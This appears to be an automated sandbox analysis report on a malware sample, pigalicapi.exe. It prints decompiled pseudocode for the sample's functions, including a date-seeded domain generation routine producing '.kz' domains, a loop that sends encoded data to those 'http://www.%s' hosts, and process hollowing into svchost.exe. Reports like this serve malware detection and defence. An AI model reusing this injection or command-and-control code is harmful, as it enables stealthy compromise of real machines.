					_v16 = 0x80000001;
					if(( *0x401435a & 0x000000ff) != 0) {
						_v16 = 0x80000002;
					}
					_v20 = 0;
					if(RegOpenKeyExA(_v16, _v12, 0, 0xf003f,  &_v20) == 0) {
						_v48 = 0x10;
						_v44 = 0x10;
						if(RegQueryValueExA(_v20,  &_v40, 0, 0,  &_v64,  &_v44) == 0 && _v44 == 0x10) {
							_v72 =  &_v64;
							GetLocalTime( &_v88);
							_t91 = _v72;
							_t101 = _t100 - 0x10;
							_t68 = _t101;
							 *_t68 =  *_t91;
							 *((intOrPtr*)(_t68 + 4)) =  *((intOrPtr*)(_t91 + 4));
							 *((intOrPtr*)(_t68 + 8)) =  *((intOrPtr*)(_t91 + 8));
							 *((intOrPtr*)(_t68 + 0xc)) =  *((intOrPtr*)(_t91 + 0xc));
							_t69 = _t101 - 0x10;
							 *_t69 = _v88.wYear;
							_t69[2] = _v88.wDayOfWeek;
							_t69[4] = _v88.wHour;
							_t69[6] = _v88.wSecond;
							_t70 = E04009910();
							asm("cdq");
							_v68 = _t70 / 0x3c;
							if(_v68 <  *((intOrPtr*)(_a4 + 0x10))) {
								_v5 = 0;
							}
						}
						RegCloseKey(_v20);
					}
					goto L12;
				}
			}

APIs

wsprintfA.USER32 ref: 040072BD
RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,000F003F,00000000), ref: 040072F9
RegQueryValueExA.ADVAPI32(00000000,?,00000000,00000000,?,00000010), ref: 04007329
GetLocalTime.KERNEL32(?), ref: 04007343
RegCloseKey.ADVAPI32(00000000), ref: 040073A9

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: CloseLocalOpenQueryTimeValuewsprintf
String ID:
API String ID: 3852505512-0
Opcode ID: dbb66ec4e40f0b96ddf8d886ab6d66ea576557e999e4472c56c1706dad51e441
Instruction ID: 1589668eb117d9c12aae7036857c9bc1fd79cd220dc98d09134ced9bc9b72130
Opcode Fuzzy Hash: dbb66ec4e40f0b96ddf8d886ab6d66ea576557e999e4472c56c1706dad51e441
Instruction Fuzzy Hash: CE414C74900208EFEB08DF94D885BEDBBB5FF48300F14C569E915AB281D779AA45CF91

Uniqueness

Uniqueness Score: -1.00%

Function 040073C0 Relevance: 7.6, APIs: 5, Instructions: 70
registrytimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E040073C0(long _a4, intOrPtr _a8, intOrPtr _a12) {
				char* _v8;
				void* _v12;
				void* _v16;
				intOrPtr _v20;
				char _v36;
				char _v52;
				long _t24;
				char* _t26;

				if(_a4 != 0 && _a8 != 0 && _a12 != 0) {
					_t24 = _a4;
					if( *((intOrPtr*)(_t24 + 0x10)) != 0) {
						_v20 = E040016F0(_a8, _a12);
						_t26 =  *0x40118a0; // 0x4013b88
						_v8 = _t26;
						E04007D20(_t26,  &_v36, 0, 0x10);
						wsprintfA( &_v36, "%u", _v20);
						_v12 = 0x80000001;
						if(( *0x401435a & 0x000000ff) != 0) {
							_v12 = 0x80000002;
						}
						_v16 = 0;
						_t24 = RegOpenKeyExA(_v12, _v8, 0, 0xf003f,  &_v16);
						if(_t24 == 0) {
							GetLocalTime( &_v52);
							RegSetValueExA(_v16,  &_v36, 0, 3,  &_v52, 0x10);
							return RegCloseKey(_v16);
						}
					}
				}
				return _t24;
			}

APIs

wsprintfA.USER32 ref: 04007429
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,000F003F,00000000), ref: 04007465
GetLocalTime.KERNEL32(?), ref: 04007473
RegSetValueExA.ADVAPI32(00000000,?,00000000,00000003,?,00000010), ref: 0400748B
RegCloseKey.ADVAPI32(00000000), ref: 04007495

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: CloseLocalOpenTimeValuewsprintf
String ID:
API String ID: 3926099652-0
Opcode ID: 5b6941f17f7e1ce7d1a6ef015ad0abb591c00484f45a97b9485d98f3a3167c0d
Instruction ID: 829c9f2afe597629132b3bb77bbcf1684e2940429f06bc569247a29e29dd4590
Opcode Fuzzy Hash: 5b6941f17f7e1ce7d1a6ef015ad0abb591c00484f45a97b9485d98f3a3167c0d
Instruction Fuzzy Hash: 442112B5900208ABEB14DFA4D849FFE77B8FB48704F048558FA15AB180D77DAA44CB51

Uniqueness

Uniqueness Score: -1.00%

Function 04009650 Relevance: 7.6, APIs: 5, Instructions: 69
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04009650(intOrPtr _a4, intOrPtr _a8, CHAR* _a12, intOrPtr _a16) {
				int _v8;
				intOrPtr _v12;
				char _v20;
				int _v24;
				signed char _v25;
				void* _t58;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 != 0 && _a16 != 0) {
					_v12 = 0;
					_v24 = lstrlenA(_a12);
					while(_v12 < _a8 && _v24 < _a16) {
						_v25 =  *((intOrPtr*)(_a4 + _v12));
						E04007D20(_a4 + _v12,  &_v20, 0, 8);
						E04009560(_v25 & 0x000000ff,  &_v20, 7);
						_t58 = _t58 + 0x18;
						lstrcatA(_a12,  &_v20);
						_v24 = lstrlenA(_a12);
						_v12 = _v12 + 1;
					}
					if(lstrlenA(_a12) > _a16) {
						_a12[_a16] = 0;
					}
					_v8 = lstrlenA(_a12);
				}
				return _v8;
			}

APIs

lstrlenA.KERNEL32(00000000), ref: 04009690
lstrcatA.KERNEL32(00000000,00000000), ref: 040096DF
lstrlenA.KERNEL32(00000000), ref: 040096E9
lstrlenA.KERNEL32(00000000), ref: 04009701
lstrlenA.KERNEL32(00000000), ref: 04009719

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: lstrlen$lstrcat
String ID:
API String ID: 493641738-0
Opcode ID: 8467699368807e0697c2a8f8d306fbd68601f1d2da39666beca5ff7786e62213
Instruction ID: 5d62f8ff5c671b513c9f4ed5768570a6b0eac4432c67e9f412687076ede29f23
Opcode Fuzzy Hash: 8467699368807e0697c2a8f8d306fbd68601f1d2da39666beca5ff7786e62213
Instruction Fuzzy Hash: 3D213DB1900349EFEB14CFA4D884BEE7BB5FF44305F148558E914A7281D378AA94CB91

Uniqueness

Uniqueness Score: -1.00%

Function 040092E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88
stringtimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E040092E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				struct _SYSTEMTIME _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v172;
				void* _t46;
				intOrPtr _t50;
				void* _t83;
				void* _t84;
				void* _t86;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0) {
					GetLocalTime( &_v28);
					_t46 = E040097E0(_v28.wMonth & 0x0000ffff, _v28.wYear & 0x0000ffff, _v28.wMonth & 0x0000ffff, _v28.wDay & 0x0000ffff);
					_t84 = _t83 + 0xc;
					_v12 = _t46 + _a12;
					_v32 = 0;
					while(_v32 < _a8) {
						E04007D20( &_v172,  &_v172, 0, 0x80);
						_t50 = E04008BB0( &_v12, 4,  &_v172, 0x80);
						_t86 = _t84 + 0x1c;
						_v40 = _t50;
						if(_v40 <= 0) {
							_v12 = _v32 * 7 + _v12;
						} else {
							_v12 = _v172;
						}
						_v36 = _v12 % 4 + 9;
						E04009650( &_v172, _v40, _v32 * 0x28 + _a4, _v36);
						_t84 = _t86 + 0x10;
						lstrcatA(_v32 * 0x28 + _a4, ".kz");
						_v12 = _v12 + 1;
						_v8 = _v8 + 1;
						_v32 = _v32 + 1;
					}
				}
				return _v8;
			}

APIs

GetLocalTime.KERNEL32(?), ref: 04009308

Part of subcall function 04008BB0: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008BFF
Part of subcall function 04008BB0: GetLastError.KERNEL32 ref: 04008C09
Part of subcall function 04008BB0: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008C38
Part of subcall function 04008BB0: CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 04008C59
Part of subcall function 04008BB0: CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 04008C71
Part of subcall function 04008BB0: CryptGetHashParam.ADVAPI32(00000000,00000004,00000000,00000004,00000000), ref: 04008C99
Part of subcall function 04008BB0: CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 04008CC1
Part of subcall function 04008BB0: CryptDestroyHash.ADVAPI32(00000000), ref: 04008CD5
Part of subcall function 04008BB0: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008CE1

lstrcatA.KERNEL32(00000000,.kz), ref: 040093DB

Strings

.kz, xrefs: 040093CC

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$Hash$Context$AcquireParam$CreateDataDestroyErrorLastLocalReleaseTimelstrcat
String ID: .kz
API String ID: 2740484991-4216035510
Opcode ID: 28f090440165364d74cfd4a48749ec745bc8846a55d0f1667de3e46dcaf07841
Instruction ID: bb0d42d70b93f9fb2e2ab601979b3322a165a8cda29c6817b22e5740edda4972
Opcode Fuzzy Hash: 28f090440165364d74cfd4a48749ec745bc8846a55d0f1667de3e46dcaf07841
Instruction Fuzzy Hash: 2D310AB1E00209EBEF08DF94C885BEEB7B5EF58304F10C159E515B7281E678AA85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 10002430 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,00000040,00000004,?), ref: 10002468
VirtualProtect.KERNEL32(00000000,000000F8,00000004,?), ref: 100024B2

Strings

@, xrefs: 10002453

Memory Dump Source

Source File: 00000002.00000002.608609386.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10001000_pigalicapi.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: af73fc3a835f5cb9a27c40e94a700fe6bd6fe7a21d246ca72f0d591094e94dd8
Instruction ID: 1bc0fa0ef2482510480b6d00c0adc5d74525c4f8bff966f143e9313f40c37061
Opcode Fuzzy Hash: af73fc3a835f5cb9a27c40e94a700fe6bd6fe7a21d246ca72f0d591094e94dd8
Instruction Fuzzy Hash: 4C21DEB0905249EFEF14CF94C984BAEBBB5FF44384F208599D909A7248C774AF80DB51

Uniqueness

Uniqueness Score: -1.00%

Function 040078D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E040078D0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v5;
				char _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _t31;
				void* _t46;

				_v5 = 0;
				if(_a4 != 0 && _a8 > 0 && _a12 != 0 && _a16 >= _a8) {
					_v16 = 0;
					while(_v16 < _a8) {
						_t31 = E04007B70( &_v12, _v16 * 6 + _a4, 4);
						_push(_v12);
						L0400B1EC();
						_v20 = _t31;
						wnsprintfA(_v16 * 0x28 + _a12, 0x28, "%s:%u", _v20,  *(_a4 + 4 + _v16 * 6) & 0x0000ffff);
						_t46 = _t46 + 0x20;
						_v16 = _v16 + 1;
					}
					_v5 = 1;
				}
				return _v5;
			}

0x040078d6
0x040078de
0x040078f8
0x0400790a
0x04007922
0x0400792d
0x0400792e
0x04007933
0x0400795a
0x04007960
0x04007907
0x04007907
0x04007965
0x04007965
0x0400796f

APIs

inet_ntoa.WS2_32(00000000), ref: 0400792E
wnsprintfA.SHLWAPI ref: 0400795A

Strings

%s:%u, xrefs: 04007949

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: inet_ntoawnsprintf
String ID: %s:%u
API String ID: 890441721-1474915593
Opcode ID: 45e21c9532a10fe3660936149e330ed9fd96ba08dfcacbd0c7ca049c9e07423d
Instruction ID: 46ead0e7315176c8e7c3a96679b7c8ac73bfa04a13e8ca702a559205f2d732b6
Opcode Fuzzy Hash: 45e21c9532a10fe3660936149e330ed9fd96ba08dfcacbd0c7ca049c9e07423d
Instruction Fuzzy Hash: 05115B71A04208ABEB08CF94C995BEDBBB4EB50308F04C29DE915BB280D379F645CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04001E60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04001E60(CHAR* _a4) {
				void* _v8;
				struct _PROCESS_INFORMATION _v24;
				struct _STARTUPINFOA _v100;

				_v8 = 0;
				if(_a4 != 0) {
					E04007D20(E04007D20( &_v24,  &_v24, 0, 0x10),  &_v100, 0, 0x44);
					_v100.cb = 0x44;
					if(CreateProcessA(0, _a4, 0, 0, 0, 0, 0, 0,  &_v100,  &_v24) != 0) {
						CloseHandle(_v24.hThread);
						_v8 = _v24.hProcess;
					}
				}
				return _v8;
			}

0x04001e66
0x04001e71
0x04001e8b
0x04001e93
0x04001ebc
0x04001ec2
0x04001ecb
0x04001ecb
0x04001ebc
0x04001ed4

APIs

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 04001EB4
CloseHandle.KERNEL32(?), ref: 04001EC2

Strings

D, xrefs: 04001E93

Memory Dump Source

Source File: 00000002.00000002.603215187.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000002.00000002.603118352.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603533696.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.603602052.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4000000_pigalicapi.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: D
API String ID: 3712363035-2746444292
Opcode ID: 59bcdaf37b1f271a783006bdc6eef328790e49f0bf96139ab545fec0931b98cd
Instruction ID: 8c18c5092416b0968d1e58d42d3dcefe862203e4accbbf984a8d418911b9581a
Opcode Fuzzy Hash: 59bcdaf37b1f271a783006bdc6eef328790e49f0bf96139ab545fec0931b98cd
Instruction Fuzzy Hash: 5C011275A4420CABEB10DF90DD45FEE77B9AB04704F148119E6087B2C0D775AA45C7A1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: pigalicapi.exePID: 1420, Parent PID: 3452COMMON

Executed Functions

Function 04004BA0 Relevance: 63.8, APIs: 33, Strings: 3, Instructions: 800
memorysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E04004BA0(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v24;
				signed int _v28;
				char _v36;
				intOrPtr _v40;
				signed int _v44;
				void* _v48;
				long _v52;
				void* _v56;
				char* _v60;
				CHAR* _v64;
				intOrPtr* _v68;
				intOrPtr _v72;
				int _v76;
				void* _v80;
				void* _v84;
				void* _v88;
				void* _v92;
				void* _v96;
				void* _v100;
				void* _v124;
				void* _v132;
				void* _v136;
				void* _v140;
				void* _v144;
				void* _v148;
				void* _v152;
				void* _v156;
				void* _v160;
				char _v420;
				CHAR* _v424;
				int _v428;
				void* _v432;
				long _v436;
				short _v948;
				void* _v952;
				void* _v956;
				void* _v960;
				void* _v964;
				long _v968;
				void* _t306;
				void* _t307;
				void* _t308;
				int _t312;
				int _t318;
				long _t328;
				void* _t333;
				void* _t351;
				long _t358;
				void* _t637;
				void* _t638;

				__imp__CoInitialize(0);
				_v8 = _a4;
				if(_v8 == 0) {
					L83:
					__imp__CoUninitialize();
					return 0;
				} else {
					E04007B70( &_v36, _v8, 0x1c);
					_t638 = _t637 + 0xc;
					SetEvent( *(_v8 + 0x10));
					_v40 = 0xea60;
					_v44 = _v28;
					while(_v44 <= _v24 && (( *(_v12 + 0x28) & 0x000000ff) != 0 || WaitForSingleObject( *(_v12 + 0x24), 0xa) != 0)) {
						_v64 = _v44 * 0x28 + _v36;
						_v52 = 0x100000;
						_t306 = VirtualAlloc(0, 0x100000, 0x3000, 4); // executed
						_v48 = _t306;
						_t307 = VirtualAlloc(0, 0x100000, 0x3000, 4); // executed
						_v56 = _t307;
						_t308 = VirtualAlloc(0, 0x100000, 0x3000, 4); // executed
						_v60 = _t308;
						if(_v48 == 0 || _v56 == 0 || _v60 == 0) {
							L82:
							_v44 = _v44 + 1;
							continue;
						} else {
							_v68 = _v48;
							_v80 = 0;
							while(_v80 < 0x100) {
								_v80 = _v80 + 1;
							}
							_v72 = _v68 - _v48;
							if( *0x40118a4 == 2 &&  *((intOrPtr*)(_v16 + 0x453)) > 0 &&  *((intOrPtr*)(_v16 + 0x453)) < 0x100000 - _v72 &&  *((intOrPtr*)(_v16 + 0x457)) != 0) {
								 *_v68 =  *((intOrPtr*)(_v16 + 0x453));
								_v68 = _v68 + 4;
								E04007B70(_v68,  *((intOrPtr*)(_v16 + 0x457)),  *((intOrPtr*)(_v16 + 0x453)));
								_t638 = _t638 + 0xc;
								_v68 = _v68 +  *((intOrPtr*)(_v16 + 0x453));
							}
							_v72 = _v68 - _v48;
							_t312 = E04008370(_v48, _v72, _v56, 0x100000); // executed
							_t638 = _t638 + 0x10;
							_v76 = _t312;
							if(_v76 <= 0) {
								L81:
								VirtualFree(_v48, 0, 0x8000); // executed
								VirtualFree(_v56, 0, 0x8000); // executed
								VirtualFree(_v60, 0, 0x8000); // executed
								goto L82;
							} else {
								_v424 = "http://www.%s";
								_t318 = lstrlenA(_v64);
								if(_t318 + lstrlenA(_v424) >= 0x100) {
									goto L81;
								}
								wsprintfA( &_v420, _v424, _v64);
								_t638 = _t638 + 0xc;
								_v428 = 0x100000;
								if(CryptBinaryToStringA(_v56, _v76, 0x40000001, _v60,  &_v428) == 0) {
									goto L81;
								}
								_v956 = 0;
								_v432 = 0;
								MultiByteToWideChar(1, 1,  &_v420, 0xffffffff,  &_v948, 0x100);
								_v952 = 0;
								_t328 = E040017D0( &_v420,  &_v420, _v60, _v428,  &_v956,  &_v432, 0xea60,  &_v952); // executed
								_t638 = _t638 + 0x1c;
								_v436 = _t328;
								if(_v436 <= 0) {
									L79:
									if(_v956 != 0) {
										VirtualFree(_v956, 0, 0x8000); // executed
									}
									goto L81;
								}
								if(_v436 < 0x100 || _v952 >= 0x1f4) {
									if( *0x40118a4 != 1) {
										goto L70;
									}
									VirtualFree(_v956, 0, 0x8000); // executed
									_v956 = 0;
									_v432 = 0;
									_v960 = 0;
									while(_v960 < 4) {
										_t358 = E040017D0(_v428,  &_v420, _v60, _v428,  &_v956,  &_v432, 0xea60,  &_v952); // executed
										_t638 = _t638 + 0x1c;
										_v436 = _t358;
										if(_v436 > 0x100 || _v952 < 0x1f4) {
											goto L70;
										} else {
											_v960 = _v960 + 1;
											continue;
										}
									}
									goto L70;
								} else {
									L70:
									if(_v436 > 0) {
										EnterCriticalSection(_v12 + 0xc);
										if( *(_v12 + 4) != 0) {
											_v968 =  *(_v12 + 8) + _v436;
											_t333 = VirtualAlloc(0, _v968, 0x3000, 4); // executed
											_v964 = _t333;
											if(_v964 != 0) {
												if(GetTickCount() % 2 != 0) {
													E04007B70(_v964, _v956, _v436);
													E04007B70(_v964 + _v436,  *(_v12 + 4),  *(_v12 + 8));
													_t638 = _t638 + 0x18;
												} else {
													E04007B70(_v964,  *(_v12 + 4),  *(_v12 + 8));
													E04007B70(_v964 +  *(_v12 + 8), _v956, _v436);
													_t638 = _t638 + 0x18;
												}
												 *(_v12 + 8) =  *(_v12 + 8) + _v436;
												VirtualFree( *(_v12 + 4), 0, 0x8000); // executed
												 *(_v12 + 4) = _v964;
											}
										} else {
											_t351 = VirtualAlloc(0, _v436, 0x3000, 4); // executed
											 *(_v12 + 4) = _t351;
											E04007B70( *(_v12 + 4), _v956, _v436);
											_t638 = _t638 + 0xc;
											 *(_v12 + 8) = _v436;
										}
										LeaveCriticalSection(_v12 + 0xc);
									}
									goto L79;
								}
							}
						}
					}
					goto L83;
				}
			}

APIs

CoInitialize.OLE32(00000000), ref: 04004BAC
SetEvent.KERNEL32(?), ref: 04004BDB
WaitForSingleObject.KERNEL32(0000EA60,0000000A), ref: 04004C19
VirtualAlloc.KERNEL32(00000000,00100000,00003000,00000004), ref: 04004C49
VirtualAlloc.KERNEL32(00000000,00100000,00003000,00000004), ref: 04004C60
VirtualAlloc.KERNEL32(00000000,00100000,00003000,00000004), ref: 04004C77
CoUninitialize.OLE32 ref: 040056F0

Strings

`, xrefs: 04004BE1
, xrefs: 04004EF0
pigalicapi, xrefs: 04005041, 04005080

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: AllocVirtual$EventInitializeObjectSingleUninitializeWait
String ID: $`$pigalicapi
API String ID: 1834614700-42206024
Opcode ID: 0b588b8632747e3a4410319c3fb32f93fea484f2e03b927fbc22a93c38a5764c
Instruction ID: f4bd0befb8abd7887e3d73177c72bf7f141d25b4899fa760b57ca1a426edb567
Opcode Fuzzy Hash: 0b588b8632747e3a4410319c3fb32f93fea484f2e03b927fbc22a93c38a5764c
Instruction Fuzzy Hash: 39628DB1D00218ABFB14DBA0DC84FEDB7B9AF49309F04C559E6057B281E775AA84CF61

Uniqueness

Uniqueness Score: -1.00%

Function 040020B0 Relevance: 61.6, APIs: 32, Strings: 3, Instructions: 300
memorystringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E040020B0(intOrPtr _a4, signed char _a8, CHAR* _a12) {
				long _v8;
				void* _v12;
				char _v276;
				struct _CONTEXT _v996;
				struct _PROCESS_INFORMATION _v1012;
				intOrPtr _v1016;
				struct _STARTUPINFOA _v1092;
				intOrPtr _v1096;
				void _v1100;
				signed int _v1104;
				CHAR* _t121;
				void* _t128;
				int _t130;
				void* _t132;
				int _t140;
				int _t143;
				int _t145;
				int _t148;
				void* _t263;
				void* _t265;
				void* _t266;

				if(_a4 == 0) {
					L26:
					return 0;
				}
				GetEnvironmentVariableA("SystemRoot",  &_v276, 0x104);
				_t121 = lstrcatA( &_v276, "\\system32\\svchost.exe");
				if(_a12 != 0) {
					lstrcatA( &_v276, " ");
					_t121 = lstrcatA( &_v276, _a12);
				}
				E04007D20(_t121,  &_v1012, 0, 0x10);
				E04007D20( &_v1092,  &_v1092, 0, 0x44);
				_t265 = _t263 + 0x18;
				_v1092.cb = 0x44;
				_v1096 = _a4 +  *((intOrPtr*)(_a4 + 0x3c));
				_v1016 = _v1096 + ( *(_v1096 + 0x14) & 0x0000ffff) + 0x18;
				_v8 =  *((intOrPtr*)(_v1096 + 0x50));
				_t128 = VirtualAlloc(0, _v8, 0x3000, 0x40); // executed
				_v12 = _t128;
				if(_v12 != 0) {
					_t130 = CreateProcessA(0,  &_v276, 0, 0, 0, 4, 0, 0,  &_v1092,  &_v1012); // executed
					if(_t130 != 0) {
						_t132 = VirtualAllocEx(_v1012.hProcess,  *(_v1096 + 0x34), _v8, 0x3000, 0x40); // executed
						_v1100 = _t132;
						if(_v1100 != 0) {
							L10:
							E04007B70(_v12, _a4,  *((intOrPtr*)(_v1096 + 0x54)));
							_t266 = _t265 + 0xc;
							_v1104 = 0;
							while(_v1104 < ( *(_v1096 + 6) & 0x0000ffff)) {
								if((_a8 & 0x000000ff) != 0) {
									E04007B70(_v12 +  *((intOrPtr*)(_v1016 + 0xc + _v1104 * 0x28)), _a4 +  *((intOrPtr*)(_v1016 + 0xc + _v1104 * 0x28)),  *((intOrPtr*)(_v1016 + 0x10 + _v1104 * 0x28)));
									_t266 = _t266 + 0xc;
								} else {
									E04007B70(_v12 +  *((intOrPtr*)(_v1016 + 0xc + _v1104 * 0x28)), _a4 +  *((intOrPtr*)(_v1016 + 0x14 + _v1104 * 0x28)),  *((intOrPtr*)(_v1016 + 0x10 + _v1104 * 0x28)));
									_t266 = _t266 + 0xc;
								}
								_v1104 = _v1104 + 1;
							}
							E040026D0(_v12, _v1100);
							_t140 = WriteProcessMemory(_v1012.hProcess, _v1100, _v12, _v8, 0); // executed
							if(_t140 != 0) {
								VirtualFree(_v12, 0, 0x8000); // executed
								_v996.ContextFlags = 0x10007;
								_t143 = GetThreadContext(_v1012.hThread,  &_v996); // executed
								if(_t143 != 0) {
									_t145 = WriteProcessMemory(_v1012.hProcess, _v996.Ebx + 8,  &_v1100, 4, 0); // executed
									if(_t145 != 0) {
										_v996.Eax = _v1100 +  *((intOrPtr*)(_v1096 + 0x28));
										_t148 = SetThreadContext(_v1012.hThread,  &_v996); // executed
										if(_t148 == 0) {
											TerminateProcess(_v1012.hProcess, 0);
											CloseHandle(_v1012.hThread);
											CloseHandle(_v1012.hProcess);
											goto L26;
										}
										ResumeThread(_v1012.hThread); // executed
										return _v1012.hProcess;
									}
									TerminateProcess(_v1012.hProcess, 0);
									CloseHandle(_v1012.hProcess);
									CloseHandle(_v1012.hThread);
									return 0;
								}
								TerminateProcess(_v1012.hProcess, 0);
								CloseHandle(_v1012.hProcess);
								CloseHandle(_v1012.hThread);
								return 0;
							}
							TerminateProcess(_v1012.hProcess, 0);
							CloseHandle(_v1012.hProcess);
							CloseHandle(_v1012.hThread);
							VirtualFree(_v12, 0, 0x8000);
							return 0;
						}
						_v1100 = VirtualAllocEx(_v1012.hProcess, 0, _v8, 0x103000, 0x40);
						if(_v1100 != 0) {
							goto L10;
						}
						TerminateProcess(_v1012.hProcess, 0);
						CloseHandle(_v1012);
						CloseHandle(_v1012.hThread);
						VirtualFree(_v12, 0, 0x8000);
						return 0;
					}
					VirtualFree(_v12, 0, 0x8000);
					return 0;
				} else {
					return 0;
				}
			}

APIs

GetEnvironmentVariableA.KERNEL32(SystemRoot,?,00000104), ref: 040020D4
lstrcatA.KERNEL32(?,\system32\svchost.exe), ref: 040020E6
lstrcatA.KERNEL32(?,0400C38C), ref: 040020FE
lstrcatA.KERNEL32(?,00000000), ref: 0400210F
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 04002187
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?), ref: 040021C0
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040021D5
VirtualAllocEx.KERNEL32(?,00000000,?,00003000,00000040), ref: 040021FE
VirtualAllocEx.KERNEL32(?,00000000,?,00103000,00000040), ref: 04002227
TerminateProcess.KERNEL32(?,00000000), ref: 04002245
CloseHandle.KERNEL32(?), ref: 04002252
CloseHandle.KERNEL32(?), ref: 0400225F
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 04002270

Strings

D, xrefs: 0400213B
\system32\svchost.exe, xrefs: 040020DA
SystemRoot, xrefs: 040020CF

Memory Dump Source

